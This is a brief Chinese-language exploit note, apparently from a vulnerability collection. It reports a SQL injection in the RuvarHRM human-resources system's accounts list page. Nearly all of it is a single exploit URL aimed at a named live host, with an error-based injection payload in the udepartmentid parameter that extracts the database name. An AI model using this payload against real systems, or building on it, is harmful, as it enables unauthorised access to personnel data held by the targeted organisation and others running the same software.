RuvarHRM 人力资源管理系统 accounts_list.aspx SQL注入

exp: http://oa.hnlxbus.com:8081/RuvarHRM/admin/accountslist.aspx?udepartmentid=1%27and%201%3Dconvert%28int%2C%20CHAR%28126%29%20%2b%20CHAR%28126%29%20%2b%20CHAR%28126%29%2bdbname%28%29%2b%20CHAR%28126%29%20%2b%20CHAR%28126%29%20%2b%20CHAR%28126%29%29--...